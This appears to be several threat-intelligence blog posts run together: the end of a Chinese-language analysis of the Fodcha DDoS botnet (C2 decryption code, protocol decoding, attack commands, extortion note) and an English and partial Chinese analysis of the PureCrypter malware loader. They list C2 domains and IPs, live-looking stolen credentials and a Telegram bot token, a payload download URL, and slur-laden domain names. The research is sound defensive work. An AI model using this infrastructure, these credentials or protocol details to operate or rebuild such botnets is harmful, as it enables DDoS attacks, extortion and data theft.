            calc+=2+12*i%cnt
                    
        if calc +cnt==length-1:
            return cnt

                        
key=b"PJbiNbbeasddDfsc"
buf=ida_bytes.get_bytes(0x0001CA6C,1568)  # Ciphertext of OpenNic C2
plaintext=xxtea.decrypt(buf,key)

domains,tlds=plaintext.split(b'/')
domainList=domains.split(b',')
tldList=tlds.split(b',')

cnt=getcnt(len(domainList))

print("------------There're %d C2------------" %cnt)
coff=2
for i in range(0,cnt):
    if i ==0:
        c2Prefix=domainList[i+coff]
    else:
        coff+=12*i %cnt+2
        c2Prefix=domainList[i+coff]
    c2Tld=tldList[(cnt-i-1)*3]
    print(c2Prefix + b'.' + c2Tld)

将上文得到的C2数据做为输入，最终构造出以下14个OpenNIC C2。

techsupporthelpars.oss
yellowchinks.geek
yellowchinks.dyn
wearelegal.geek
funnyyellowpeople.libre
chinksdogeaters.dyn
blackpeeps.dyn
pepperfan.geek
chinkchink.libre
peepeepoo.libre
respectkkk.geek
bladderfull.indy
tsengtsing.libre
obamalover.pirate

对ICANN域名体系熟悉的读者，或许会在第一眼就认为我们的解密是错误的，因为ICANN的域名体系并不支持这些TLDs，它们肯定“无法解析”，事实上它们正是OpenNIC体系下的域名，OpenNIC是独立于ICANN的另一套域名体系，它支持下图所示的TLDs，OpenNIC的域名无法通过常见的DNS(如8.8.8.8，101.198.198.198)解析，必须使用指定的NameServer，更多的细节就不再展开，感兴趣的读者自行到其官方网站了解。

用同样的方法，我们可以得到以下4个ICANN C2。

cookiemonsterboob[.]com
forwardchinks[.]com
doodleching[.]com
milfsfors3x[.]com

0X2: DNS查询

当成功获得C2域名后，Bot通过函数DNS_QUERY进行域名解析，它的第2个参数是一个FLAG，暗示了OpenNIC/ICANN C2的不同处理过程，相应的代码片段如下所示：

可以看出对于OpenNIC C2的解析有2个选择：

选择1：通过API接口向api.opennicproject.org请求，动态的获取nameserver

选择2：使用下图所示的硬编码nameserver

而对于ICANN C2则只有一个选择，即使用下图中的硬编码nameserver。

以实际解析 C2“techsupporthelpars.oss”为例，它的解析过程在网络流量中的体现如下所示：

为什么使用OpenNIC / ICANN 双C2?

Fodcha作者构建了一套OpenNIC / ICANN 双C2的冗余结构，他为什么要这么做呢？

从C2基础设施的角度出发，Fodcha被曝光后，其C2被一些服务商加入到了监控列表，进行拦截。例如Quad9DNS（9.9.9.9）就曾发过一个关于Fodcha域名流量spike的Twitter

在Fodcha被打击之后，其作者在重新选择C2基础设施时，看中了OpenNIC宣传的"DNS Neutrality"特性，通过绕开ICANN的域名体系，从根本上消除C2被监管&接管的可能性，因此Fodcha在V2.X引入OpenNic C2，并将其做为主C2。

与此同时，OpenNIC C2可能存在一些问题，比如OpenNIC的NameServer在某些地区可能无法访问，或者域名解析上存在效率或稳定性的问题。出于健壮性的考虑，Fodcha作者在V3之后重新加入ICANN C2作为后备C2，与主C2构成冗余结构。

0x3: 建立通信

Fodcha Bot通过又下代码片段和C2建立连接，一共有个22个端口。

当成功和C2建立连接后，Bot与C2必须经过3个阶段的交互，才能真正建立通信。

阶段1：Bot向C2请求chacha20加密算法的的key&nonce。
阶段2：Bot与C2使用阶段1的key&nonce进行身份确认。
阶段3：Bot将加密后的上线&分组信息发往C2。

为了辅助分析，我们在受限的环境内运行了Bot样本，并使用fsdsaD做为分组字串，产生了下图所示的网络流量，下文将详细介绍此流量是如何生成的。

阶段1：Bot ---> C2 ,格式为head(7 bytes) + body( random 20-40 bytes)

Bot主动向C2发送netstage=6的初始化消息，这个消息的格式为head+body，各字段含义如下所示：

head

head的长度为7 bytes，格式如下所示：

06     		---->netstage,1byte,06 means init
f0 70       ---->tcpip checksum, 2byte, 
00 16		---->length of body, 2 bytes

checksum

head中的checksum使用的是tcp/ip的checksum，它计算对象为整个payload，checksum所在偏移的原始值为"\x00\x00"，checksum的python实现如下所示：

def checksum(data):
    s = 0
    n = len(data) % 2
    for i in range(0, len(data)-n, 2):
        s+= ord(data[i]) + (ord(data[i+1]) << 8)
    if n:
        s+= ord(data[-1])
    while (s >> 16):
        s = (s & 0xFFFF) + (s >> 16)
        s = ~s & 0xffff
    return s

buf="\x06\x00\x00\x00\x00\x00\x16\x36\x93\x93\xb7\x27\x5c\x9a\x2a\x16\x09\xd8\x13\x32\x01\xd2\x69\x1d\x25\xf3\x42\x00\x32"
print(hex(checksum(buf)))

#hex(checksum(buf))
#0x70f0

body

body为随机生成的内容，无意义。

00000000  36 93 93 b7 27 5c 9a 2a 16 09 d8 13 32 01 d2 69
00000010  1d 25 f3 42 00 32

阶段1：C2--->Bot，共2轮

当C2收到Bot的netstage=6的消息后，就会向BOT发送2轮的数据。

第一轮，36 bytes , 原信息被xxtea加密，解密后作为chacha20的key，长度为32bytes

import hexdump
import xxtea
key=b"PJbiNbbeasddDfsc"
keyBuf=bytes.fromhex("806d8806cd5460d8996339fbf7bac34ba1e20f792872ba0e05d096ad92a5535e60e55b8d")
chaKey=xxtea.decrypt(keyBuf,key)
hexdump.hexdump(chaKey)

#chaKey
00000000: E6 7B 1A E3 A4 4B 13 7F  14 15 5E 99 31 F2 5E 3A
00000010: D7 7B AB 0A 4D 5F 00 EF  0C 01 9F 86 94 A4 9D 4B

第二轮，16 bytes，原信息被xxtea加密，解密后作为chacha20的nonce，长度12bytes

import hexdump
import xxtea
key=b"PJbiNbbeasddDfsc"
nonBuf=bytes.fromhex("22c803bb310c5b2512e76a472418f9ee")
chaNonce=xxtea.decrypt(nonBuf,key)
hexdump.hexdump(chaNonce)

#chaNonce
00000000: 98 79 59 57 A8 BA 7E 13  59 9F 59 6F

阶段2：Bot--->C2，chacha20加密

Bot收到chacha20的key和nonce后，就向C2发送netstage=4的消息，此次消息使用chacha20加密，key&nonce由上一阶段获得，加密的轮数为1。

我们可以使用下面的python代码可以解密上面的流量，

from Crypto.Cipher import ChaCha20
cha=ChaCha20.new(key=chaKey,nonce=chaNonce)
cha.seek(64)
tmp=bytes.fromhex('dc23c56943431018b61262481ce5a219da9480930f08714e017edc56bf903d32ac5daeb8314f1bf7e6')
rnd3=cha.decrypt(tmp)

解密后的流量如下所示，它的格式依然是前文所述的head（7 bytes）+body，其中head的netstage字段的值为04，代表身份认证。

阶段2：C2--->Bot，chacha20加密

C2在收到Bot的身份认证消息后，也向Bot的数据发送netstage=4的消息，同样使用chacha20加密，且key,nonce,轮数和Bot使用的是一样的。

使用和Bot相同的代码解密流量，可以看出它的格式也是head+body，netstage的值也为04。

在Bot和C2互发netstage=4的消息之后，代表阶段1的chacha20 key&nonce被双方认可，彼此的身份认证完成，Bot进入下一阶段准备上线。

阶段3：Bot--->C2，共2轮，chacha加密

Bot向C2发送netstage=5的消息，表示准备上线，接着再自己的分组信息上报给C2，这2轮消息也使用chacha20加密。

第一轮
第二轮

上述2轮的数据解密后如下所示，可以看出分组的内容正是预设的"fsdsaD"，这代表我们的分析是正确的，至此Bot成功上线，开始等待执行C2下发的指令。

0x4:执行指令

Bot成功上线后，支持的netstage编号，如下所图所示，其中最重要的就是netstage=1代表DDoS任务，Fodcha复用了大量Mirai的攻击代码，一共支持17种攻击方法。

以下图的DDos_Task流量（netstage=01）为例：

攻击指令依然采用chacha20加密，解密后的指令如下所示，相信熟悉Mirai的读者看到此处肯定会心一笑。

00000000: 00 00 00 3C 07 01 xx 14  93 01 20 02 00 00 02 01
00000010: BB 01 00 02 00 01

上述攻击指令的格式和解析方式如下表所示：

offset	len (bytes)	value	meaning
0x00	4	00 00 00 3c	Duration
0x04	1	07	Attack Vector，07
0x05	1	1	Attack Target Cnt
0x06	4	xx 14 93 01	Attack Target，xx.20.147.1
0x0a	1	20	Netmask
0x0b	1	02	Option Cnt
0x0c	5	00 00 02 01 bb	OptionId 0，len 2, value 0x01bb ---> (port 443)
0x11	5	01 00 02 00 01	OptionId 1, len 2, value 0x0001---> (payload len 1 byte)

当Bot接收到上述指令，就会使用payload为1字节的tcp报文对目标xx.20.147.1:443进行DDoS攻击，这和实际抓包的流量是能对应上的。

花絮

0x01: 种族歧视

从某些OpenNIC C2的构词上来说，Fodcha的作者似乎对黄种人，黑人有比较大的敌意。

yellowchinks.geek
wearelegal.geek
funnyyellowpeople.libre
chinksdogeaters.dyn
blackpeeps.dyn
bladderfull.indy

wehateyellow

0x02: 攻击即勒索

Fodcha曾在其下发的UDP攻击指令中，附带以下字串：

send 10 xmr to 49UnJhpvRRxDXJHYczoUEiK3EKCQZorZWaV6HD7axKGQd5xpUQeNp7Xg9RATFpL4u8dzPfAnuMYqs2Kch1soaf5B5mdfJ1b or we will shutdown your business

Bot打出的攻击流量如下所示，该钱包地址似乎是非法的，没能给我们更多的线索，但从这一行为出发，或许Fodcha背后的运营者正在尝试攻击即勒索这种商业模式。

联系我们

感兴趣的读者，可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。

解决方案

IoC

C2

yellowchinks.geek
yellowchinks.dyn
wearelegal.geek
tsengtsing.libre
techsupporthelpars.oss
respectkkk.geek
pepperfan.geek
peepeepoo.libre
obamalover.pirate
milfsfors3x[.]com
funnyyellowpeople.libre
fridgexperts[.]cc
forwardchinks[.]com
folded[.]in
doodleching[.]com
cookiemonsterboob[.]com
chinksdogeaters.dyn
chinkchink.libre
bladderfull.indy
blackpeeps.dyn
91.206.93.243
91.149.232.129
91.149.232.128
91.149.222.133
91.149.222.132
67.207.84.82
54.37.243.73
51.89.239.122
51.89.238.199
51.89.176.228
51.89.171.33
51.161.98.214
46.17.47.212
46.17.41.79
45.88.221.143
45.61.139.116
45.41.240.145
45.147.200.168
45.140.169.122
45.135.135.33
3.70.127.241
3.65.206.229
3.122.255.225
3.121.234.237
3.0.58.143
23.183.83.171
207.154.206.0
207.154.199.110
195.211.96.142
195.133.53.157
195.133.53.148
194.87.197.3
194.53.108.94
194.53.108.159
194.195.117.167
194.156.224.102
194.147.87.242
194.147.86.22
193.233.253.93
193.233.253.220
193.203.12.157
193.203.12.156
193.203.12.155
193.203.12.154
193.203.12.151
193.203.12.123
193.124.24.42
192.46.225.170
185.45.192.96
185.45.192.227
185.45.192.212
185.45.192.124
185.45.192.103
185.198.57.95
185.198.57.105
185.183.98.205
185.183.96.7
185.143.221.129
185.143.220.75
185.141.27.238
185.141.27.234
185.117.75.45
185.117.75.34
185.117.75.119
185.117.73.52
185.117.73.147
185.117.73.115
185.117.73.109
18.185.188.32
18.136.209.2
178.62.204.81
176.97.210.176
172.105.59.204
172.105.55.131
172.104.108.53
170.187.187.99
167.114.124.77
165.227.19.36
159.65.158.148
159.223.39.133
157.230.15.82
15.204.18.232
15.204.18.203
15.204.128.25
149.56.42.246
139.99.166.217
139.99.153.49
139.99.142.215
139.162.69.4
138.68.10.149
137.74.65.164
13.229.98.186
107.181.160.173
107.181.160.172

Reporter

kvsolutions[.]ru
icarlyfanss[.]com

Samples

ea7945724837f019507fd613ba3e1da9
899047ddf6f62f07150837aef0c1ebfb
0f781868d4b9203569357b2dbc46ef10

PureCrypter is busy pumping out various malicious malware families

wanghao — Mon, 29 Aug 2022 13:00:00 GMT

In our daily botnet analysis work, it is common to encounter various loaders.Compared to other types of malware, loaders are unique in that they are mainly used to "promote", i.e., download and run other malware on the infected machine. According to our observations, most loaders are proprietary and have a binding relationship with the family they are promoting. A few loader families make themselves into promotion platforms that can spread any other malware family, achieving the so-called malware-as-a-service (MaaS). Compared with proprietary loaders, MaaS types are obviously more dangerous and should be our primary target of concern.

This article introduces a MaaS type loader we saw a while ago, named PureCrypter, which is very active this year, promoting more than 10 other families and using hundreds of C2s. Zscaler has done a detailed sample analysis, this blog mainly introduces the PureCrypter propagation activity we saw from the perspective of C2s and propagation chains to explore the operation of the MaaS type botnet.

The main points of this paper are as follows.

PureCrypter is a loader written in C# that has been around since at least 2021 and can propagate any other family.
PureCrypter continues to be active this year and has propagated more than 10 other malware families including Formbook, SnakeKeylogger, AgentTesla, Redline, AsyncRAT, and others.
PureCrypter authors appears to be resourceful, as we have seen hundreds of C2 domains and IPs.
PureCrypter use image name suffixes combined with inversion, compression and encryption to avoid detection.
PureCrypter has a long propagation chain, and most of them use pre-protectors, some times mixed with other loaders, making detection more difficult.

In general, the spread of PureCrypter can be summarized in the following figure.

Now let’s look at the samples and some typical propagation cases below.

Sample analysis

PureCrypter uses the package mechanism, which consists of two executables: downloader and injector, both written in C#, where downloader is responsible for propagating the injector, which releases and runs the final payload.

In practice, the attacker generates downloader and injector through builder, and then will try to propagate downloader, which will download and execute injector on the target machine, and then injector will do the rest of the work. In terms of code logic, the downloader module is relatively simple, with a low level of binary obfuscation and no complex operations such as environment detection and persistence, while injector uses common tricks and techniques seen in popular loaders, such as binary obfuscation, runtime environment detection, starting puppet processes, etc. The following is a brief introduction to downloader and injector combined with actual examples.

downloader module

This module directly calls WebClient's DownloadData method for HTTP downloads, without setting any HTTP headers.

The following is an example of downloading a sample variant with inverted processing, from the parsing code you can see that the HTTP payload is inverted.

The inverted PE Header can be found at the end.

Finally, the recovered data (.DLL file) is loaded by Assembly.Load, and the entry method of plaintext encoding is called to proceed to the next stage.

PureCrypter is relatively simple to protect the injector download, so far, in addition to the above mentioned inverted (reverse) encoding, there are also gzip compression, symmetric encryption, etc. This encoding is fixed, that is, the builder has already determined the encoding method when generating the modules of downloader and injector.

The following is an example of using gzip compression and then transferring the injector, and the magic header of gzip can be found at the beginning: 1F 8B 08 00.

We have also come across examples where AES encryption is used.

In addition to AES, PureCrypter also supports DES, RC4 and other encryption algorithms.

injector module

If you analyze the injector samples restored by downloader, you will find that the latter are heavily obfuscated. Here is an example of an injector obfuscated by SmartAssembly and partially encrypted with resources.

As shown in the figure above, first the relevant configuration information can be got from the combo of Reverse + GZip + Protubuf.Deserialize; then the runtime environment is checked to fight against sandboxing, with mutexes creation and persistence being done based on the configuration; and finally the payload is read from the resource section for loading. The sample does not enter any if statement, and soon reaches the last important function, which mainly implements the final payload injection. 4 injection methods are supported. While which one to use depends on the configuration, Process Hollowing is the most frequently used one.

The final payload is stored in the resource.

After reversing and gzip decompression, a puppet process is created to start the final payload.

The final payload promoted above is AgentTesla, whose configuration information is as follows.

host: raphaellasia.com
port:587
username: origin@raphaellasia.com
pwd: student@1980
to: origin2022@raphaellasia.com

Accidental discovery

PureCrypter likes to disguise the injector as an image for downloading, the image name is relatively random and has obvious machine generated features. Here are some of the actual detected image names.

# pattern 1
/dl/0414/net_Gzhsuovx.bmp
/dl/0528/mars2_Hvvpvuns.bmp
/dl/0528/az_Tsrqixjf.bmp

# pattern 2
/040722/azne_Bvaquebo.bmp
/04122022/net_Ygikzmai.bmp
/04122022/azne_Jzoappuq.bmp
/04122022/pm_Dxjlqugu.bmp
/03252022/azne_Rmpsyfmd.bmp

# pattern 3
/Rrgbu_Xruauocq.png
/Gepstl_Mouktkmu.bmp
/Zhyor_Uavuxobp.png
/Xgjbdziy_Kglkvdfb.png
/Ankwgqtwf_Bdevsqnz.bmp
/Osgyjgne_Ymgrebdt.png
/Rrgbu_Xruauocq.png
/Gepstl_Mouktkmu.bmp
/Osgyjgne_Ymgrebdt.png
/Osgyjgne_Ymgrebdt.png
/Zhyor_Uavuxobp.png

After analyzing several samples, we found that there is a correspondence between the requested image name and the downloader's AssmblyName.

PictureName	AssmblyName
Belcuesth_Ipdtbadv.png	Belcuesth
Kzzlcne_Prgftuxn.png	Kzzlcne
newminer2_Jrltkmeh.jpg	newminer2
Belcuesth_Ipdtbadv.png	Belcuesth
Nykymad_Bnhmcpqo.bmp	Nykymad
my_ori_Ywenb_Yzueqpjp.bmp	my ori Ywenb

and the content after the underscore always matches the regular expression

[A-Z][a-zA-Z]{7}

C2 and propagation analysis

PureCrypter has been active this year, and we have detected more than 200 C2 domains and IPs, and more than 10 propagated families. In the cases we have seen, the propagation chain is generally long, and the downloader module of PureCrypter is often used in conjunction with various other types of predecessor downloaders. Because there are too many C2s, here is an introduction to 185.215.113.89 as an example in terms of scale and propagation methods.

C2 analysis

This C2 is more active than others among the C2s we detected, and its active time is from mid-April to early June this year, as shown in the figure below.

Its activity level can be reflected visually by our graph system.

It can be seen that it is associated with more domains and IPs, and the following is part of the IP's domain name resolution during this period.

2022-04-14 22:47:34	2022-07-05 00:42:16	22	rockrock.ug	A	185.215.113.89	
2022-04-21 08:22:03	2022-06-13 09:17:50	15	marnersstyler.ug	A	185.215.113.89	
2022-04-17 03:17:41	2022-06-10 04:31:27	2538	qwertzx.ru	A	185.215.113.89	
2022-04-24 02:16:46	2022-06-09 00:11:24	3	hubvera.ac.ug	A	185.215.113.89	
2022-04-15 23:47:43	2022-06-08 19:24:59	43	timekeeper.ug	A	185.215.113.89	
2022-04-15 11:34:35	2022-06-08 19:24:59	35	boundertime.ru	A	185.215.113.89	
2022-04-14 23:01:50	2022-06-08 15:33:25	24	timebound.ug	A	185.215.113.89	
2022-04-15 21:58:54	2022-06-08 05:43:21	7	www.rockrock.ug	A	185.215.113.89	
2022-04-16 20:50:41	2022-06-08 01:44:01	54	beachwood.ug	A	185.215.113.89	
2022-04-23 16:23:41	2022-06-07 18:30:51	5	asdsadasrdc.ug	A	185.215.113.89	
2022-05-02 22:35:40	2022-06-07 04:34:12	17	leatherlites.ug	A	185.215.113.89	
2022-05-29 17:46:00	2022-06-07 03:50:36	3	underdohg.ac.ug	A	185.215.113.89	
2022-04-15 22:34:53	2022-06-07 03:33:10	18	rockphil.ac.ug	A	185.215.113.89	
2022-04-15 03:09:13	2022-06-07 03:19:50	14	pdshcjvnv.ug	A	185.215.113.89	
2022-04-15 03:04:12	2022-06-07 03:12:04	16	mistitis.ug	A	185.215.113.89	
2022-04-16 03:08:46	2022-06-07 03:08:48	18	nicoslag.ru	A	185.215.113.89	
2022-04-19 02:33:31	2022-06-07 02:37:08	16	danwisha.ac.ug	A	185.215.113.89	
2022-05-28 23:56:02	2022-06-05 05:14:50	7	underdohg.ug	A	185.215.113.89	
2022-05-10 14:44:28	2022-06-02 17:40:12	24	jonescourtney.ac.ug	A	185.215.113.89	
2022-06-02 07:44:25	2022-06-02 07:44:25	1	triathlethe.ug	A	185.215.113.89	
2022-04-24 03:05:38	2022-06-01 16:54:59	2191	qwertasd.ru	A	185.215.113.89	
2022-04-17 09:34:27	2022-06-01 01:42:07	2	partaususd.ru	A	185.215.113.89	
2022-04-25 00:08:53	2022-05-31 07:17:00	5	timecheck.ug	A	185.215.113.89	
2022-04-21 02:36:41	2022-05-31 01:20:37	21	courtneyjones.ac.ug	A	185.215.113.89	
2022-04-16 19:09:02	2022-05-31 01:02:02	14	marksidfgs.ug	A	185.215.113.89	
2022-04-25 03:01:15	2022-05-30 03:04:29	10	mofdold.ug	A	185.215.113.89	
2022-04-15 02:36:21	2022-05-30 02:32:53	17	check-time.ru	A	185.215.113.89	
2022-04-18 02:21:26	2022-05-30 02:22:30	17	agenttt.ac.ug	A	185.215.113.89	
2022-04-17 03:17:46	2022-05-29 03:17:26	15	qd34g34ewdfsf23.ru	A	185.215.113.89	
2022-04-19 02:25:06	2022-05-29 02:22:57	14	andres.ug	A	185.215.113.89	
2022-04-16 02:27:44	2022-05-29 02:22:47	16	asdasgs.ug	A	185.215.113.89

From the visits in column 3, differences in the number of visits to these domains can be found, with overall visits in the thousands, and this is only one of the many C2s we see.

Through correlation analysis, we found that 185.215.113.89 is often used in conjunction with two C2s, 62.204.41.69 (March) and 45.143.201.4(June), and their relationship can be correlated using the chart below.

Propagation analysis

PureCrypter uses the dual module mechanism of downloader+injector, the former is disseminated and then the latter is disseminated, which is equivalent to adding a link to the dissemination chain, plus the author's usual means to hide the objector by means of fake image, encoding transmission, etc., which is complicated enough in itself.

The author also put a lot of effort in the downloader propagation piece, we see the way through the bat2exe bundled crack software, the use of VBS and powershell script loader, combined with Godzilla front loader and many other ways, the result of these operations superimposed is the spread chain is generally deeper and more complex. In May we even found cases of spreading Raccoon through PureCrypter, which further spread Azorult, Remcos, PureMiner, and PureClipper.

Here are a few typical propagation techniques.

1, "Bat2Exe+Powershell+VBS+Meteorite+PureCrypter" spreading Mars Stealer

This is mainly seen in some cracking software, downloader module is bundled to the former for propagation with Bat2Exe. The actual payload files stored in the resource are released to the tmp directory and triggered by the start.bat. The files released in the tmp directory are shaped as follows.

The start.bat command takes the shape of：

In the case we analyzed, the .lnk file is used to start the powershell to execute the malicious command.

Powershell decodes a base64-encoded VBS loader.

The VBS loader further releases a downloader and runs the latter via shellcode. The key information of this downloader is stored in the resource, including the process name and download url, as shown in the image below.

The downloader is named Meteorite according to the process name after running, and the url in the above figure corresponds to the downloader module of PureCrypter, and the complete communication process is as follows.

The final payload is Mars Stealer, c2: rockrock.ug/gggate.php, with the following configuration information:

2, "VBS/Powershell + PureCrypter" propagating PureMiner

The C2 involved is 89.34.27.167. The entry can be either a VBS script or a Powershell script, here is an example of VBS script.

The network communication traffic is as follows.

Powershell script is as follows.

The Powershell script downloads and runs the downloader module of PureCrypter, which proceeds to download the injector, here it is more specific to use Discord to distribute the injector:

The final payload is PureMiner and C2 is as follows:

185.157.160.214
pwn.oracleservice.top
pwn.letmaker.top

port: 8080, 8444

3, "unknown .NET downloader + PureCrypter" to spread AgentTesla, RedLine

The downloader family is unknown, and its runtime is also divided into multiple stages, where the stage0 module is responsible for loading the stage1 malicious module in the resource.

The stage1 module will continue to load the next stage module stage2 after running.

stage2 module is also a Crypter (not yet named), different from PureCrypter, he also provides a download function, used to download the malicious PureCrypter downloader module, that is, the figure of puty.exe.

The malware can be decrypted from the resource with the key bnvFGkCKlnhQ using the following algorithm.

Two families of binaries are spread. Stage2's payload is AgentTesla with C2: https[:]//api.telegram.org/bot5421147975:AAGrsGnLOHZfFv7yHuj3hZdQSOVmPodIAVI/sendDocument

PureCrypter's payload is RedLine with C2:

IP: workstation2022.ddns.net:62099
ID: cheat

Summary

PureCrypter is a MaaS type botnet that is still active and has spread more than 10 other families of payloads, with generally complex spreading practices. There might be a fairly big and resourceful team behind it, so it won’t surprised us if they continuously add and spread other malicious families in the future. We will keep an eye on it and share more information when it is needed.

Contact us

Readers are always welcomed to reach us on twitter or email us to netlab[at]360.cn.

IoCs

MD5

Family Name	MD5
Bat2Exe Downloader	424ed5bcaae063a7724c49cdd93138f5
VBS downloader	3f20e08daaf34b563227c797b4574743
Powershell downloader	c4c5167dec23b6dd2d565cd091a279e4
Unknown .NET Downloader	9b70a337824bac612946da1432295e9c

C2 &URL

agenttt.ac.ug
andres.ug
asdasgs.ug
asdsadasrdc.ug
beachwood.ug
boundertime.ru
check-time.ru
courtneyjones.ac.ug
danwisha.ac.ug
hopeforhealth.com.ph
hubvera.ac.ug
jonescourtney.ac.ug
leatherlites.ug
marksidfgs.ug
marnersstyler.ug
mistitis.ug
mofdold.ug
momomolastik.ug
nicoslag.ru
partaususd.ru
pdshcjvnv.ug
qd34g34ewdfsf23.ru
qwertasd.ru
qwertzx.ru
raphaellasia.com
rockphil.ac.ug
rockrock.ug
timebound.ug
timebounder.ru
timecheck.ug
timekeeper.ug
triathlethe.ug
underdohg.ac.ug
underdohg.ug
www.rockrock.ug
212.192.246.195
37.0.11.164:8080
80.66.75.123
89.34.27.167
91.243.44.142
185.215.113.89
62.204.41.69
45.143.201.4
https://cdn.discordapp.com/attachments/994652587494232125/1004377750762704896/ps1-6_Hjuvcier.png

PureCrypter Loader持续活跃，已经传播了10多个其它家族

wanghao — Mon, 29 Aug 2022 01:20:17 GMT

在我们的日常botnet分析工作中，碰到各种loader是常事。跟其它种类的malware相比，loader的特殊之处在于它主要用来“推广”，即在被感染机器上下载并运行其它的恶意软件。根据我们的观察，大部分loader是专有的，它们和推广的家族之间存在绑定关系。而少数loader家族会将自己做成通用的推广平台，可以传播其它任意家族，实现所谓的malware-as-a-service（MaaS）。跟专有loader相比，MaaS类型显然更危险，更应该成为我们的首要关注目标。

本文介绍我们前段时间看到的一个MaaS类型的loader，它名为PureCrypter，今年非常活跃，先后推广了10多个其它的家族，使用了上百个C2。因为zscaler已经做过详细的样本分析，本文主要从C2和传播链条角度介绍我们看到的PureCrypter传播活动，分析其运作过程。

本文要点如下：

PureCrypter是一款使用C#编写的loader，至少2021年3月便已出现，能传播任意的其它家族。
PureCrypter今年持续活跃，已经传播了包括Formbook、SnakeKeylogger、AgentTesla、Redline、AsyncRAT等在内的10多个恶意家族。
PureCrypter作者拥有较多的推广资源，我们检测到的C2 域名和IP多达上百个。
PureCrypter作者喜欢使用图片名后缀结合倒置、压缩和加密等方式躲避网络检测。
PureCrypter的推广行为传播链条普遍较长，多数会使用前置protector，甚至搭配其它loader，检测难度较大。

总的来说，PureCrypter的传播情况可以用下图总结：

下面从样本分析和典型传播案例角度做一介绍。

样本分析

PureCrypter使用了package机制，由两个可执行文件组成：downloader和injector，它们都使用C#编写，其中downloader负责传播injector，后者释放并运行最终的目标家族二进制文件。实际操作时，攻击者通过builder生成downloader和injector，然后先设法传播downloader，后者会在目标机器上下载并执行injector，再由injector完成其余工作。从代码逻辑上看，downloader模块相对简单，样本混淆程度较低，没有复杂的环境检测和持久化等操作，而injector则使用了loader里常见的奇技淫巧，比如2进制混淆、运行环境检测、启动傀儡进程等，下面是结合实际的例子简单介绍下downloader和injector。

downloader模块

该模块直接调用WebClient的DownLoadData方法进行HTTP下载，没有设置单独的HTTP header。

injector的uri通常也是明文保存，下面是一个下载经过倒置处理的样本的变种的例子，从解析代码能看出来HTTP payload做了倒置处理。

在末尾可发现明显的被倒置的PE Header。

最后通过Assembly.Load加载恢复好的injector（.DLL文件），调用明文编码的入口方法，进入下一阶段。

PureCrypter对injector下载保护这块相对简单，目前看除了上面提到的倒置（reverse）编码外，还有 gzip压缩、对称加密等方式，这种编码是固定的，即builder在生成downloader和injector时就已经确定好编码方式，不存在运行动态改变的情况。

下面是使用使用gzip压缩后传输injector的例子，在流量开头可以发现GZip的magic header：1F 8B 08 00。

我们还碰到过使用AES加密的例子。

除了AES，PureCrypter还支持使用DES、RC4等加密算法。

injector模块

如果分析还原好的injector，会发现普遍做了混淆处理，差别只是混淆程度的大小。下面是一例SmartAssembly混淆并且资源部分被加密的injector：

如上图所示，首先通过Reverse + GZip + Protubuf.Deserialize组合拳，获取相关配置信息，之后是根据配置检查运行环境、对抗沙箱、创建互斥体、持久化等，最后从资源中获取payload加载运行。该样本没有进入任何一个if语句，很快到了最后一个重要函数，该函数主要实现最终payload的注入。根据配置的不同存在4种注入方式，傀儡进程（Process Hollowing）是被最多使用的方式。

最终payload存储在资源中，解密后的资源如下图：

经过Reverse + GZip解压缩后创建傀儡进程启动最终的payload。

上面最终推广的payload为AgentTesla，其配置信息如下：

host: raphaellasia.com
port:587
username: origin@raphaellasia.com
pwd: student@1980
to: origin2022@raphaellasia.com

意外发现

PureCrypter喜欢将injector伪装成图片供downloader下载，图片名比较随机，具有明显机器生成的特点。下面是实际检测到的一些图片名。

# pattern 1
/dl/0414/net_Gzhsuovx.bmp
/dl/0528/mars2_Hvvpvuns.bmp
/dl/0528/az_Tsrqixjf.bmp

# pattern 2
/040722/azne_Bvaquebo.bmp
/04122022/net_Ygikzmai.bmp
/04122022/azne_Jzoappuq.bmp
/04122022/pm_Dxjlqugu.bmp
/03252022/azne_Rmpsyfmd.bmp

# pattern 3
/Rrgbu_Xruauocq.png
/Gepstl_Mouktkmu.bmp
/Zhyor_Uavuxobp.png
/Xgjbdziy_Kglkvdfb.png
/Ankwgqtwf_Bdevsqnz.bmp
/Osgyjgne_Ymgrebdt.png
/Rrgbu_Xruauocq.png
/Gepstl_Mouktkmu.bmp
/Osgyjgne_Ymgrebdt.png
/Osgyjgne_Ymgrebdt.png
/Zhyor_Uavuxobp.png

在对多个样本进行分析后，我们发现请求的图片名与downloader的AssmblyName存在对应关系。

图片名	AssmblyName
Belcuesth_Ipdtbadv.png	Belcuesth
Kzzlcne_Prgftuxn.png	Kzzlcne
newminer2_Jrltkmeh.jpg	newminer2
Belcuesth_Ipdtbadv.png	Belcuesth
Nykymad_Bnhmcpqo.bmp	Nykymad
my_ori_Ywenb_Yzueqpjp.bmp	my ori Ywenb

下划线后面的内容总是符合正则表达式

[A-Z][a-zA-Z]{7}

基于这个发现可以结合样本和网络请求两个维度的数据确认PureCrypter的下载行为。

C2和传播分析

PureCrypter今年一直在活跃，我们先后检测到的C2 域名和IP有200多个，传播的家族数10多种。在我们看到的案例中，传播链条普遍比较长，PureCrypter的downloader模块经常跟各种其它类型的前置downloader配合使用。因为C2太多，这里主要以185.215.113.89 为例从规模和传播手法方面做一个介绍。

C2分析

这个C2在我们检测到的C2中活跃度比较高，其活跃时间为今年4月中旬到6月初，如下图所示。

其活跃程度可以用我们的图系统直观反映出来。

能看到它关联到了比较多的域名和IP，下面是该IP在这段时间的部分域名解析情况。

2022-04-14 22:47:34	2022-07-05 00:42:16	22	rockrock.ug	A	185.215.113.89	
2022-04-21 08:22:03	2022-06-13 09:17:50	15	marnersstyler.ug	A	185.215.113.89	
2022-04-17 03:17:41	2022-06-10 04:31:27	2538	qwertzx.ru	A	185.215.113.89	
2022-04-24 02:16:46	2022-06-09 00:11:24	3	hubvera.ac.ug	A	185.215.113.89	
2022-04-15 23:47:43	2022-06-08 19:24:59	43	timekeeper.ug	A	185.215.113.89	
2022-04-15 11:34:35	2022-06-08 19:24:59	35	boundertime.ru	A	185.215.113.89	
2022-04-14 23:01:50	2022-06-08 15:33:25	24	timebound.ug	A	185.215.113.89	
2022-04-15 21:58:54	2022-06-08 05:43:21	7	www.rockrock.ug	A	185.215.113.89	
2022-04-16 20:50:41	2022-06-08 01:44:01	54	beachwood.ug	A	185.215.113.89	
2022-04-23 16:23:41	2022-06-07 18:30:51	5	asdsadasrdc.ug	A	185.215.113.89	
2022-05-02 22:35:40	2022-06-07 04:34:12	17	leatherlites.ug	A	185.215.113.89	
